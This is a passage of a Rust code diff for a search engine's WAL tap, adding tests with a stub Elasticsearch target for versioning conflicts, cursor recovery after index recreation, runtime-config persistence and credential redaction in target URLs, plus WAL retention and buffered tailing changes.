+ if meta_line.trim().is_empty() {
+ continue;
+ }
+ let meta: Value = serde_json::from_str(meta_line).expect("action line");
+ let (action, spec) = meta
+ .as_object()
+ .and_then(|o| o.iter().next())
+ .map(|(k, v)| (k.clone(), v.clone()))
+ .expect("action object");
+ if action != "delete" {
+ // Consume the source line.
+ let _ = lines.next().expect("source line");
+ }
+ let id = spec["_id"].as_str().unwrap_or_default().to_string();
+ let index = spec["_index"].as_str().unwrap_or_default().to_string();
+ let incoming = spec["version"].as_u64().unwrap_or(0);
+ assert_eq!(
+ spec["version_type"], "external",
+ "the tap must send external versioning or none of this applies"
+ );
+
+ // `ahead_by > 0` models a second writer that got to this target
+ // first: seed a version the tap can never beat.
+ let stored = *held.entry(id.clone()).or_insert(incoming + ahead_by);
+ if incoming > stored {
+ held.insert(id.clone(), incoming);
+ let result = if action == "delete" {
+ "deleted"
+ } else {
+ "created"
+ };
+ items.push(json!({action: {
+ "_index": index, "_id": id, "_version": incoming,
+ "result": result,
+ "status": 201,
+ }}));
+ } else {
+ errors = true;
+ items.push(json!({action: {
+ "_index": index, "_id": id, "_version": stored, "status": 409,
+ "error": {
+ "type": "version_conflict_engine_exception",
+ "reason": format!(
+ "[{id}]: version conflict, current version [{stored}] is higher \
+ or equal to the one provided [{incoming}]"),
+ },
+ }}));
+ }
+ }
+ json!({"took": 1, "errors": errors, "items": items}).to_string()
+}
+
/// Read one HTTP request, record the body, answer with an ES-shaped `_bulk`
/// response.
-async fn serve_one(mut stream: TcpStream, sink: Arc<Mutex<Received>>) -> std::io::Result<()> {
+async fn serve_one(
+ mut stream: TcpStream,
+ sink: Arc<Mutex<Received>>,
+ semantics: TargetSemantics,
+) -> std::io::Result<()> {
let mut raw = Vec::new();
let mut buf = [0u8; 8192];
loop {
@@ -137,18 +249,35 @@ async fn serve_one(mut stream: TcpStream, sink: Arc<Mutex<Received>>) -> std::io
k.eq_ignore_ascii_case("authorization")
.then(|| v.trim().to_string())
});
- {
+ let payload = {
let mut guard = sink.lock().unwrap();
- guard.bodies.push(body);
guard.last_auth = auth;
- }
- let payload = br#"{"took":1,"errors":false,"items":[]}"#;
+ let response = match semantics {
+ TargetSemantics::AlwaysAccept => {
+ r#"{"took":1,"errors":false,"items":[]}"#.to_string()
+ }
+ TargetSemantics::ExternalVersioning => {
+ let mut held = std::mem::take(&mut guard.versions);
+ let out = apply_external_versioning(&body, &mut held, 0);
+ guard.versions = held;
+ out
+ }
+ TargetSemantics::ExternalVersioningAheadBy(n) => {
+ let mut held = std::mem::take(&mut guard.versions);
+ let out = apply_external_versioning(&body, &mut held, n);
+ guard.versions = held;
+ out
+ }
+ };
+ guard.bodies.push(body);
+ response
+ };
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n",
payload.len()
);
stream.write_all(resp.as_bytes()).await?;
- stream.write_all(payload).await?;
+ stream.write_all(payload.as_bytes()).await?;
stream.flush().await?;
break;
}
@@ -514,31 +643,356 @@ async fn batch_limits_split_the_stream_instead_of_dropping_it() {
/// that stalls the shard silently and forever — the worst failure mode a WAL
/// consumer can have, because `_stats` would show a healthy tap shipping
/// nothing.
+///
+/// **No `tick()` between the delete and the recreate.** That is the whole
+/// point: the default poll interval is 500 ms, so in production a
+/// `DELETE` + `PUT` is essentially never observed as an absence, and a test
+/// that inserts a poll there proves only that the hygiene path works. The
+/// deletion itself has to drop the cursor.
#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
async fn recreating_an_index_under_the_same_name_does_not_stall_the_tap() {
let target = StubTarget::start().await;
let dir = TempDir::new().unwrap();
let engine = engine_with_tap(&dir, tap_config(&target.url, &["edge-logs"]));
- write_docs(&engine, "edge-logs", &["1"]).await;
+ // Enough documents that the surviving cursor is a long way into the file:
+ // a one-document cursor could land back inside the recreated stream by
+ // luck and hide the bug.
+ let ids: Vec<String> = (1..=40).map(|i| format!("old-{i}")).collect();
+ let refs: Vec<&str> = ids.iter().map(String::as_str).collect();
+ write_docs(&engine, "edge-logs", &refs).await;
engine.wal_tap.tick(&engine).await;
- assert_eq!(target.indexed_ids("edge-logs"), vec!["1"]);
+ assert_eq!(target.indexed_ids("edge-logs").len(), 40);
+ let stale_offset = engine.wal_tap.cursors()["edge-logs"]
+ .values()
+ .map(|c| c.offset)
+ .max()
+ .unwrap_or(0);
+ assert!(
+ stale_offset > 16,
+ "the cursor must actually be somewhere inside the WAL for this to mean anything"
+ );
+ // Delete and recreate WITHOUT a poll in between — one 500 ms interval.
engine.delete_index("edge-logs").await.unwrap();
- // The tick that observes the deletion forgets the stale cursor.
- engine.wal_tap.tick(&engine).await;
assert!(
!engine.wal_tap.cursors().contains_key("edge-logs"),
- "the cursor of a deleted index must not outlive it"
+ "the deletion itself must drop the cursor: a poll would not see this"
+ );
+ write_docs(&engine, "edge-logs", &["new-1", "new-2"]).await;
+
+ engine.wal_tap.tick(&engine).await;
+
+ let shipped = target.indexed_ids("edge-logs");
+ assert!(
+ shipped.contains(&"new-1".to_string()) && shipped.contains(&"new-2".to_string()),
+ "every document of the recreated index must ship — the stale byte offset {stale_offset} \
+ either skipped them silently or wedged the shard: {shipped:?}"
+ );
+ let stats = engine.wal_tap.stats();
+ let edge = stats.get("edge-logs").expect("stats for edge-logs");
+ assert!(
+ edge.last_error.is_none() && edge.healthy(),
+ "the recreated index must be healthy, got {:?}",
+ edge.last_error
+ );
+}
+
+/// The storage-level half of the same failure, for a delete this process never
+/// saw — the node was down when the index was dropped and recreated, so
+/// `forget_index` never ran and the persisted cursor outlives its stream.
+///
+/// A WAL generation file is append-only, so an offset past its end can only
+/// mean "different stream". Before this check the reader clamped the offset to
+/// EOF and reported a clean drain: every document skipped, `gaps` still 0.
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+async fn a_cursor_past_the_end_of_its_generation_is_a_gap_not_a_silent_skip() {
+ let target = StubTarget::start().await;
+ let dir = TempDir::new().unwrap();
+ let engine = engine_with_tap(&dir, tap_config(&target.url, &["edge-logs"]));
+
+ let ids: Vec<String> = (1..=40).map(|i| format!("old-{i}")).collect();
+ let refs: Vec<&str> = ids.iter().map(String::as_str).collect();
+ write_docs(&engine, "edge-logs", &refs).await;
+ engine.wal_tap.tick(&engine).await;
+ assert_eq!(target.indexed_ids("edge-logs").len(), 40);
+ let cursors = engine.wal_tap.cursors()["edge-logs"].clone();
+
+ // Recreate the index, then put the OLD cursor back — exactly the state a
+ // restart finds after an offline delete/recreate.
+ engine.delete_index("edge-logs").await.unwrap();
+ write_docs(&engine, "edge-logs", &["new-1", "new-2"]).await;
+ engine
+ .wal_tap
+ .restore_cursors_for_test("edge-logs", cursors);
+
+ engine.wal_tap.tick(&engine).await;
+
+ let shipped = target.indexed_ids("edge-logs");
+ assert!(
+ shipped.contains(&"new-1".to_string()) && shipped.contains(&"new-2".to_string()),
+ "a cursor past EOF must restart the stream, not clamp to EOF and skip: {shipped:?}"
+ );
+ assert!(
+ engine.wal_tap.stats()["edge-logs"].gaps > 0,
+ "…and it must be REPORTED as a gap, not absorbed silently"
+ );
+}
+
+/// The design's central safety claim, which had zero coverage: at-least-once
+/// delivery is only safe because `version_type: external` makes a redelivery
+/// converge instead of resurrecting an older document.
+///
+/// The `AlwaysAccept` stub every other test uses answers a hardcoded
+/// `{"errors":false,"items":[]}`, which makes the entire `errors == true`
+/// branch of `send_bulk` dead code — so this one implements the actual ES
+/// external-versioning rule and forces a real redelivery through it.
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+async fn redelivery_converges_at_a_target_that_honours_external_versioning() {
+ let target = StubTarget::start_with(TargetSemantics::ExternalVersioning).await;
+ let dir = TempDir::new().unwrap();
+ let mut tap = tap_config(&target.url, &["edge-logs"]);
+ // Two documents per request, so a failure part-way through a poll leaves
+ // earlier chunks landed and forces the retry to re-send them.
+ tap.max_batch_bytes = 200;
+ tap.max_retry_backoff_secs = 1;
+ let engine = engine_with_tap(&dir, tap);
+
+ write_docs(&engine, "edge-logs", &["a", "b", "c", "d"]).await;
+ engine.wal_tap.tick(&engine).await;
+ let after_first = target.stored_versions();
+ assert_eq!(
+ after_first.len(),
+ 4,
+ "all four documents must reach the target: {after_first:?}"
+ );
+
+ // Force the redelivery the at-least-once contract permits: rewind the
+ // cursor to the start of the stream and poll again. Every action is
+ // re-sent with the same seq_no as its external version.
+ engine.wal_tap.rewind_for_test("edge-logs");
+ engine.wal_tap.tick(&engine).await;
+
+ let after_redelivery = target.stored_versions();
+ assert_eq!(
+ after_redelivery, after_first,
+ "a redelivery must be a no-op at the target, not a resurrection: {after_redelivery:?}"
+ );
+
+ let stats = engine.wal_tap.stats();
+ let edge = stats.get("edge-logs").expect("stats");
+ assert!(
+ edge.version_conflicts >= 4,
+ "the redelivered actions must be REPORTED as conflicts, not silently counted as \
+ shipped (got {})",
+ edge.version_conflicts
+ );
+ assert_eq!(
+ edge.item_failures, 0,
+ "a version conflict is not a rejection — it must never be counted as one"
+ );
+}
+
+/// A target that holds a higher version for every `_id` — a second writer got
+/// there first — turns every action into a rejected no-op. `_stats` used to
+/// call that healthy with `lag_seq: 0` and a climbing `docs_shipped`, because
+/// the counters came from what was RENDERED rather than from what the target
+/// said it took.
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+async fn a_target_that_rejects_every_action_is_reported_unhealthy_with_real_lag() {
+ let target = StubTarget::start_with(TargetSemantics::ExternalVersioningAheadBy(1_000)).await;
+ let dir = TempDir::new().unwrap();
+ let engine = engine_with_tap(&dir, tap_config(&target.url, &["edge-logs"]));
+
+ // Enough polls to cross the "this is not one absorbed redelivery" line.
+ for round in 0..5 {
+ write_docs(&engine, "edge-logs", &[&format!("d{round}")]).await;
+ engine.wal_tap.tick(&engine).await;
+ }
+
+ let stats = engine.wal_tap.stats();
+ let edge = stats.get("edge-logs").expect("stats for edge-logs");
+ assert!(
+ target.request_count() >= 5,
+ "the tap must actually have tried: {}",
+ target.request_count()
+ );
+ assert_eq!(
+ edge.docs_shipped, 0,
+ "nothing was accepted, so nothing may be counted as shipped"
+ );
+ assert_eq!(
+ edge.last_shipped_seq, 0,
+ "the watermark must come from ACCEPTED items — it is what lag_seq is computed \
+ from, and reporting zero lag while replicating nothing is the whole bug"
+ );
+ assert!(
+ edge.version_conflicts >= 5,
+ "the conflicts must be counted: {}",
+ edge.version_conflicts
+ );
+ assert!(
+ !edge.healthy(),
+ "a target rejecting every action must not read as healthy"
+ );
+ assert!(
+ edge.last_error
+ .as_deref()
+ .unwrap_or_default()
+ .contains("version_conflict"),
+ "the operator must be told WHY: {:?}",
+ edge.last_error
+ );
+
+ let head = engine
+ .get_index("edge-logs")
+ .unwrap()
+ .current_seq_no()
+ .saturating_sub(1);
+ assert!(
+ head > edge.last_shipped_seq,
+ "lag must be non-zero (head {head}, watermark {})",
+ edge.last_shipped_seq
+ );
+}
+
+/// `PUT /_xerj/wal_tap` advertises "runtime config, no restart". That implied
+/// a durability that did not exist: the value lived only in an in-memory
+/// `RwLock`, so a restart reverted the tap to the file config — normally
+/// `enabled = false` — while cursors froze and WAL pruning carried on.
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+async fn a_runtime_configuration_survives_a_restart() {
+ let target = StubTarget::start().await;
+ let dir = TempDir::new().unwrap();
+
+ // Boot from a file config with the tap OFF, as an operator's node would be.
+ {
+ let engine = engine_with_tap(&dir, WalTapConfig::default());
+ assert!(!engine.wal_tap.config().enabled);
+ engine
+ .wal_tap
+ .set_config(tap_config(&target.url, &["edge-*"]));
+ write_docs(&engine, "edge-logs", &["1"]).await;
+ engine.wal_tap.tick(&engine).await;
+ assert_eq!(target.indexed_ids("edge-logs"), vec!["1"]);
+ }
+
+ // Restart with the same (still-off) file config.
+ let engine = engine_with_tap(&dir, WalTapConfig::default());
+ let config = engine.wal_tap.config();
+ assert!(
+ config.enabled && config.indices == vec!["edge-*".to_string()],
+ "the configuration set at runtime must outlive the process that took it, got {config:?}"
);
+ assert!(engine.wal_tap.has_runtime_config());
write_docs(&engine, "edge-logs", &["2"]).await;
engine.wal_tap.tick(&engine).await;
assert!(
target.indexed_ids("edge-logs").contains(&"2".to_string()),
- "a recreated index must keep shipping: {:?}",
+ "…and it must still be shipping after the restart: {:?}",
target.actions()
);
+
+ // And the overlay is droppable, or one API call would shadow xerj.toml
+ // forever.
+ engine.wal_tap.clear_runtime_config(WalTapConfig::default());
+ assert!(!engine.wal_tap.config().enabled);
+ assert!(!engine.wal_tap.has_runtime_config());
+}
+
+/// Cursor state used to be serialised and durably rewritten in full on every
+/// cursor advance — once per index per poll, from three call sites in
+/// `poll_index` plus `forget_deleted`. At N allowlisted indices that is O(N²)
+/// bytes and 2N fsyncs per tick, at a 500 ms default, on a node
+/// `index_store.rs:806-813` records reaching 9,382 indices. `indices = ["*"]`
+/// walked straight into it.
+///
+/// The cost of a tick must not scale with the allowlist.
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+async fn cursor_state_is_written_once_per_tick_not_once_per_index() {
+ let target = StubTarget::start().await;
+ let dir = TempDir::new().unwrap();
+ let engine = engine_with_tap(&dir, tap_config(&target.url, &["edge-*"]));
+
+ const INDICES: usize = 12;
+ for i in 0..INDICES {
+ write_docs(&engine, &format!("edge-{i}"), &["a", "b"]).await;
+ }
+
+ let before = engine.wal_tap.persists();
+ engine.wal_tap.tick(&engine).await;
+ let writes = engine.wal_tap.persists() - before;
+
+ assert!(
+ target.request_count() >= INDICES,
+ "every index must actually have shipped: {}",
+ target.request_count()
+ );
+ assert_eq!(
+ writes, 1,
+ "one tick over {INDICES} indices must cost ONE durable state write, not one \
+ per index (got {writes})"
+ );
+
+ // …and the cursors are still durable: a restart resumes rather than
+ // re-ships. Deferring the write may only ever cause a redelivery, which
+ // external versioning absorbs; it must never lose a position.
+ let shipped_before = target.request_count();
+ drop(engine);
+ let engine = engine_with_tap(&dir, tap_config(&target.url, &["edge-*"]));
+ engine.wal_tap.tick(&engine).await;
+ assert_eq!(
+ target.request_count(),
+ shipped_before,
+ "a deferred flush must still be a flush — nothing may be re-shipped after a restart"
+ );
+
+ // An idle tick writes nothing at all.
+ let idle_before = engine.wal_tap.persists();
+ engine.wal_tap.tick(&engine).await;
+ assert_eq!(
+ engine.wal_tap.persists(),
+ idle_before,
+ "an idle poll must not rewrite the state file"
+ );
+}
+
+/// The credential must not be readable back out of the config surface, and
+/// `https://user:pass@host` is the spelling that got round the `target_auth`
+/// omission — `reqwest` turns URL userinfo into a `Basic` header.
+#[test]
+fn a_target_url_carrying_credentials_is_refused_and_redacted() {
+ assert!(WalTapConfig::check_target_url("https://central:9200").is_ok());
+ assert!(WalTapConfig::check_target_url("").is_ok());
+ assert!(WalTapConfig::check_target_url("central:9200").is_err());
+
+ let reason = WalTapConfig::check_target_url("https://user:hunter2@central:9200")
+ .expect_err("userinfo must be refused");
+ assert!(
+ reason.contains("target_auth"),
+ "the error must point at the field that exists for this: {reason}"
+ );
+ // A path containing `@` is not userinfo and must still be accepted.
+ assert!(WalTapConfig::check_target_url("https://central:9200/a@b").is_ok());
+
+ let config = WalTapConfig {
+ target_url: "https://user:hunter2@central:9200".into(),
+ ..Default::default()
+ };
+ let shown = config.redacted_target_url();
+ assert!(
+ !shown.contains("hunter2") && shown.contains("central:9200"),
+ "a URL that reached the process another way must still not be readable back: {shown}"
+ );
+
+ // A whole-node config carrying one refuses to start.
+ let mut whole = Config::default();
+ whole.wal_tap.target_url = "http://user:pw@central:9200".into();
+ assert!(
+ whole.validate().is_err(),
+ "a credential-bearing target_url must fail startup, not reach the boot log"
+ );
}
/// `_stats` is the honesty surface, so `lag_seq` must not lie in the one case
diff --git a/engine/crates/xerj-server/src/main.rs b/engine/crates/xerj-server/src/main.rs
index 80a49f197..0144fa54b 100644
--- a/engine/crates/xerj-server/src/main.rs
+++ b/engine/crates/xerj-server/src/main.rs
@@ -2242,7 +2242,10 @@ async fn async_main() -> Result<()> {
if tap.config().enabled {
let cfg = tap.config();
info!(
- target = %cfg.target_url,
+ // Redacted: a `user:pass@host` URL is refused at startup, but
+ // a log line is the wrong place to find out that one slipped
+ // through some other path.
+ target = %cfg.redacted_target_url(),
indices = ?cfg.indices,
poll_interval_ms = cfg.poll_interval_ms,
"WAL tap enabled — pushing to an external ES-compatible target \
diff --git a/engine/crates/xerj-storage/src/index_store.rs b/engine/crates/xerj-storage/src/index_store.rs
index 0df42ba8c..d5f494c42 100644
--- a/engine/crates/xerj-storage/src/index_store.rs
+++ b/engine/crates/xerj-storage/src/index_store.rs
@@ -335,6 +335,16 @@ pub struct IndexStoreConfig {
/// When > 1, each shard gets its own WAL file (`wal_s{N}/`) for
/// parallel writes without cross-shard mutex contention.
pub num_wal_shards: usize,
+ /// Rotated WAL generations kept per shard even once every entry in them
+ /// is durable in a segment (default: `0` — prune as soon as it is safe).
+ ///
+ /// This is the retention floor a WAL consumer needs: with the default,
+ /// `prune_verified` deletes a rotated generation the moment a flush makes
+ /// it redundant, so a #320 tap whose target is down for longer than one
+ /// flush interval loses entries. Raising it buys the consumer that much
+ /// slack at a cost bounded by `n * wal_max_size_bytes` per shard — a
+ /// floor, never a lease, so a stalled consumer still cannot fill the disk.
+ pub wal_min_retained_generations: u64,
}
/// A raw JSON batch that has been completely validated before publication.
@@ -409,6 +419,7 @@ impl Default for IndexStoreConfig {
schema_version: 1,
storage_mode: StorageMode::Local,
num_wal_shards: 1,
+ wal_min_retained_generations: 0,
}
}
}
@@ -657,12 +668,15 @@ impl IndexStore {
std::fs::create_dir_all(&d)?;
d
};
- let w = WalWriter::open(
+ let mut w = WalWriter::open(
&shard_dir,
config.wal_max_size_bytes,
config.sync_mode,
Arc::clone(&seq_counter),
)?;
+ // Retention floor for WAL consumers (#320). Zero by default, so
+ // this is a no-op unless an operator has asked for slack.
+ w.set_min_retained_generations(config.wal_min_retained_generations);
let shard = Arc::new(Mutex::new(w));
// Issue #334 — register with the shared, event-driven fsync
// scheduler instead of spawning a thread per store. Nothing is
diff --git a/engine/crates/xerj-storage/src/wal.rs b/engine/crates/xerj-storage/src/wal.rs
index 87091eea2..a5e40513e 100644
--- a/engine/crates/xerj-storage/src/wal.rs
+++ b/engine/crates/xerj-storage/src/wal.rs
@@ -66,7 +66,7 @@
//! generation holding even one acked-but-unflushed entry is retained.
use std::fs::{self, File, OpenOptions};
-use std::io::{self, BufWriter, Read, Write};
+use std::io::{self, BufWriter, Read, Seek, SeekFrom, Write};
use std::path::{Path, PathBuf};
use std::sync::atomic::{AtomicU64, Ordering};
use std::sync::Arc;
@@ -342,6 +342,19 @@ pub struct WalWriter {
/// append first re-attempts the fresh-generation heal so the writer
/// self-recovers once space frees up.
poisoned: bool,
+ /// Rotated generations [`prune_verified`](Self::prune_verified) must keep
+ /// even when every entry in them is proven durable — the retention floor
+ /// a WAL consumer (the #320 tap) needs to survive a target outage.
+ ///
+ /// `0` (the default) is the historical behaviour: retention never waits
+ /// for anyone. Anything above it is a *bounded* floor, not a lease: the
+ /// extra cost is at most `n * wal_max_size_mb` per shard whatever the
+ /// consumer does, so a stalled consumer can never fill the disk. That
+ /// bound is the whole difference from Elasticsearch's retention leases
+ /// (`ReplicationTracker.addRetentionLease`), which hold translog
+ /// generations for an unbounded time and are why a dead follower can
+ /// wedge a leader's disk.
+ min_retained_generations: u64,
/// Shared sequence number counter — also used by the index store.
pub seq_counter: Arc<AtomicU64>,
}
@@ -458,10 +471,21 @@ impl WalWriter {
dirty: false,
sync_handle: None,
poisoned: false,
+ min_retained_generations: 0,
seq_counter,
})
}
+ /// Set the retention floor: rotated generations `prune_verified` keeps
+ /// even when it can prove every entry in them durable.
+ ///
+ /// Set once by [`crate::index_store::IndexStore::open`] from
+ /// `wal_tap.min_retained_generations`, right after the writer is placed
+ /// in its `Arc`.
+ pub fn set_min_retained_generations(&mut self, n: u64) {
+ self.min_retained_generations = n;
+ }
+
/// Install (or clear) this shard's registration with the batched-fsync
/// scheduler. Set once, right after the writer is placed in its `Arc`
/// by [`crate::index_store::IndexStore::open`].
@@ -1035,7 +1059,22 @@ impl WalWriter {
/// Returns the number of generations pruned.
pub fn prune_verified(&self, verify: &dyn Fn(&WalEntry, SeqNo) -> bool) -> Result<usize> {
let mut pruned = 0usize;
- for gen in self.rotated_generations()? {
+ let rotated = self.rotated_generations()?;
+ // Retention floor (#320): keep the newest `min_retained_generations`
+ // rotated files whatever the verifier says, so a WAL consumer that is
+ // briefly behind — a tap whose target is down for a minute — still
+ // finds its entries. `rotated_generations` is sorted ascending, so
+ // dropping the tail keeps the NEWEST ones.
+ let keep = self.min_retained_generations.min(rotated.len() as u64) as usize;
+ let prunable = rotated.len() - keep;
+ if keep > 0 {
+ debug!(
+ keep,
+ rotated = rotated.len(),
+ "WAL retention floor: holding the newest rotated generations for consumers"
+ );
+ }
+ for gen in rotated.into_iter().take(prunable) {
let (gen_entries, clean) = self.read_generation_entries(gen);
if !clean {
// Undecodable bytes — cannot prove them durable; keep the
@@ -1771,10 +1810,18 @@ pub fn tail_shard(dir: &Path, cursor: Option<WalTailCursor>, max_entries: usize)
// Never pruned: the files on disk are the entire history, so read it.
None if first == 0 => WalTailCursor::start_of(0),
// Pruned before: start at the end rather than ship an arbitrary slice.
- // Walk the newest generation to find its last frame boundary and throw
- // the entries away — paid once, when a tap first sees the stream.
+ // Walk the newest generation to find its last frame boundary — paid
+ // once, when a tap first sees the stream, and with `collect = false`
+ // so it costs a boundary walk rather than decoding every frame in the
+ // file into entries that are then thrown away.
None => {
- let scan = tail_wal_file(&wal_path(dir, newest), WAL_HEADER_LEN, false, usize::MAX);
+ let scan = tail_wal_file(
+ &wal_path(dir, newest),
+ WAL_HEADER_LEN,
+ false,
+ usize::MAX,
+ false,
+ );
return WalShardTail {
entries: Vec::new(),
cursor: WalTailCursor {
@@ -1807,6 +1854,38 @@ pub fn tail_shard(dir: &Path, cursor: Option<WalTailCursor>, max_entries: usize)
(cursor.generation, cursor.offset, false)
};
+ // The generation number can agree and the stream still be a different one.
+ // Delete-and-recreate under the same name restarts the WAL at generation
+ // 0, so a cursor sitting at (0, 4096) survives the `cursor.generation >
+ // newest` check above and resumes at byte 4096 of a file that has nothing
+ // to do with it. A WAL generation file is append-only and is never
+ // truncated below a boundary a consumer could have reached
+ // (`WalTailScan::TornTail` only discards bytes AFTER the last valid
+ // frame), so `offset > len` is a sound, false-positive-free witness that
+ // this cursor belongs to a stream that no longer exists.
+ //
+ // Without this the reader clamped the offset to EOF and reported a clean
+ // drain: every document written to the recreated index was skipped
+ // silently, `gap` stayed false and `_stats` showed a healthy tap.
+ let (start_gen, start_off, gap) = if !gap
+ && fs::metadata(wal_path(dir, start_gen))
+ .map(|m| m.len())
+ .unwrap_or(u64::MAX)
+ < start_off
+ {
+ warn!(
+ ?dir,
+ generation = start_gen,
+ offset = start_off,
+ "WAL tap: cursor points past the end of its generation — the stream was \
+ replaced (index deleted and recreated, or data directory rolled back). \
+ Restarting from the oldest surviving generation."
+ );
+ (first, WAL_HEADER_LEN, true)
+ } else {
+ (start_gen, start_off, gap)
+ };
+
let mut entries: Vec<ReplayEntry> = Vec::new();
let mut corrupt_skipped = 0usize;
let mut truncated = false;
@@ -1823,14 +1902,22 @@ pub fn tail_shard(dir: &Path, cursor: Option<WalTailCursor>, max_entries: usize)
WAL_HEADER_LEN
};
// A rotated generation will never grow again, so a corrupt region in
- // it is permanent: resync past it exactly like replay does. The
- // newest generation is still being appended to, so a bad frame at its
- // tail is almost certainly a half-written one — stop and re-read it
- // on the next poll instead of resyncing over a frame that is about to
- // become valid.
+ // it is permanent: resync past it exactly like replay does, and treat
+ // a torn tail as the end of the file. The newest generation is still
+ // being appended to, so a bad frame at its tail is almost certainly a
+ // half-written one — re-read it on the next poll rather than resync
+ // over a frame that is about to become valid.
+ //
+ // "Almost certainly" is doing real work there, which is why this flag
+ // no longer decides the whole question: a half-written frame is by
+ // construction the LAST thing in the file, so if a complete valid
+ // frame exists after the bad bytes they are not a partial tail, and
+ // `tail_wal_file` resyncs in the active generation too. Holding the
+ // boundary unconditionally is what wedged a shard forever on a cursor
+ // that had landed mid-frame in a stream replaced underneath it.
let allow_resync = gen != newest;
let budget = max_entries.saturating_sub(entries.len());
- let scan = tail_wal_file(&wal_path(dir, gen), from, allow_resync, budget);
+ let scan = tail_wal_file(&wal_path(dir, gen), from, allow_resync, budget, true);
corrupt_skipped += scan.corrupt;
entries.extend(scan.entries);
@@ -1866,13 +1953,149 @@ struct FileTail {
corrupt: usize,
}
+/// How much one buffer refill pulls in.
+///
+/// Sized like [`WAL_BUF_CAP`] on the writer side: big enough that a caught-up
+/// reader picks up a burst of small frames in one `read`, small enough that a
+/// poll over an idle 1 GiB generation costs one 16-byte header read and
+/// nothing else.
+const WAL_TAIL_READ_CHUNK: usize = 64 * 1024;
+
+/// Bytes of frame header needed before the payload length is known:
+/// `len(4) + seq_no(8) + op(1)`.
+const WAL_FRAME_HEADER_LEN: usize = 13;
+
+/// A sliding window over one WAL file, read forward from a byte offset.
+///
+/// This exists so a tail poll costs O(bytes *appended since the last poll*)
+/// instead of O(file). A tap polling 16 shards every 500 ms with a 30 s flush
+/// window would otherwise re-read the node's entire live ingest volume ~60
+/// times per shard per flush cycle — the same read-amplification class as the
+/// RC4 W1 #8 `wal_prune_cache` follow-up recorded in
+/// `index_store.rs:571-584`.
+///
+/// Shape taken from Lucene's `BufferedIndexInput`
+/// (`lucene/core/src/java/org/apache/lucene/store/BufferedIndexInput.java:289-317`,
+/// `refill`): a bounded window whose absolute position is `bufferStart +
+/// buffer.position()`, with the read length clamped to the file length so it
+/// never reads past EOF. The compaction step — carry the unconsumed remainder
+/// to the front, then read into the tail — is
+/// `SegmentingTokenizerBase.refill`
+/// (`lucene/analysis/common/src/java/org/apache/lucene/analysis/util/SegmentingTokenizerBase.java:124-147`).
+/// Apache-2.0, same licence as this repository; adapted, not copied.
+struct WalWindow {
+ file: File,
+ /// Total file length, sampled once at open. A WAL file only ever grows,
+ /// so a stale-but-smaller value can never make the reader run past real
+ /// data — it only defers it to the next poll.
+ len: u64,
+ /// Absolute file offset of `buf[0]`.
+ base: u64,
+ buf: Vec<u8>,
+ /// Read position inside `buf`.
+ cur: usize,
+}
+
+impl WalWindow {
+ fn open(path: &Path) -> io::Result<Self> {
+ let file = File::open(path)?;
+ let len = file.metadata()?.len();
+ Ok(Self {
+ file,
+ len,
+ base: 0,
+ buf: Vec::new(),
+ cur: 0,
+ })
+ }
+
+ /// Absolute offset of the read position.
+ fn pos(&self) -> u64 {
+ self.base + self.cur as u64
+ }
+
+ /// Discard the window and restart it at absolute offset `off`.
+ fn seek_to(&mut self, off: u64) {
+ self.base = off;
+ self.buf.clear();
+ self.cur = 0;
+ }
+
+ fn available(&self) -> usize {
+ self.buf.len() - self.cur
+ }
+
+ /// Make at least `need` bytes readable at the cursor, pulling more of the
+ /// file in if necessary. `false` means the file ends first.
+ fn fill(&mut self, need: usize) -> bool {
+ if self.available() >= need {
+ return true;
+ }
+ // Compact: the consumed prefix can never be needed again.
+ if self.cur > 0 {
+ self.buf.drain(..self.cur);
+ self.base += self.cur as u64;
+ self.cur = 0;
+ }
+ while self.buf.len() < need {
+ let read_from = self.base + self.buf.len() as u64;
+ if read_from >= self.len {
+ return false;
+ }
+ let want = (need - self.buf.len()).max(WAL_TAIL_READ_CHUNK);
+ let want = want.min((self.len - read_from) as usize);
+ let start = self.buf.len();
+ self.buf.resize(start + want, 0);
+ if self.file.seek(SeekFrom::Start(read_from)).is_err() {
+ self.buf.truncate(start);
+ return false;
+ }
+ match self.file.read(&mut self.buf[start..]) {
+ Ok(0) => {
+ self.buf.truncate(start);
+ return false;
+ }
+ Ok(n) => self.buf.truncate(start + n),
+ Err(e) if e.kind() == io::ErrorKind::Interrupted => self.buf.truncate(start),
+ Err(_) => {
+ self.buf.truncate(start);
+ return false;
+ }
+ }
+ }
+ true
+ }
+
+ /// Pull the rest of the file into the window.
+ ///
+ /// Only the resync path calls this: [`scan_next_valid_frame`] needs a
+ /// contiguous buffer to walk, and corruption is exceptional. The
+ /// steady-state path never gets here, which is the whole point of the
+ /// window.
+ fn fill_to_end(&mut self) {
+ let remaining = self.len.saturating_sub(self.pos());
+ self.fill(remaining as usize);
+ }
+}
+
/// Read frames from `path` starting at `from_offset`, at most `budget` of them.
///
/// Frames are returned in append order. `end_offset` always lands on a frame
/// boundary, so the caller can persist it and resume from exactly there.
-fn tail_wal_file(path: &Path, from_offset: u64, allow_resync: bool, budget: usize) -> FileTail {
- let buf = match fs::read(path) {
- Ok(b) => b,
+///
+/// `collect = false` walks the same boundaries without decoding any payload —
+/// what positioning a brand-new cursor at the end of an established stream
+/// needs, and it skips the lz4 + serde work (and the `Vec<ReplayEntry>`) for
+/// every frame in the file.
+fn tail_wal_file(
+ path: &Path,
+ from_offset: u64,
+ allow_resync: bool,
+ budget: usize,
+ collect: bool,
+) -> FileTail {
+ let mut win = match WalWindow::open(path) {
+ Ok(w) => w,
Err(e) if e.kind() == io::ErrorKind::NotFound => {
// Pruned between listing and reading. Treat as finished so the
// caller moves on to the next generation.
@@ -1896,7 +2119,8 @@ fn tail_wal_file(path: &Path, from_offset: u64, allow_resync: bool, budget: usiz
}
};
- if buf.len() < WAL_HEADER_LEN as usize || &buf[..4] != WAL_MAGIC {
+ win.seek_to(0);
+ if !win.fill(WAL_HEADER_LEN as usize) || &win.buf[..4] != WAL_MAGIC {
return FileTail {
entries: Vec::new(),
end_offset: from_offset.max(WAL_HEADER_LEN),
@@ -1905,92 +2129,137 @@ fn tail_wal_file(path: &Path, from_offset: u64, allow_resync: bool, budget: usiz
corrupt: 0,
};
}
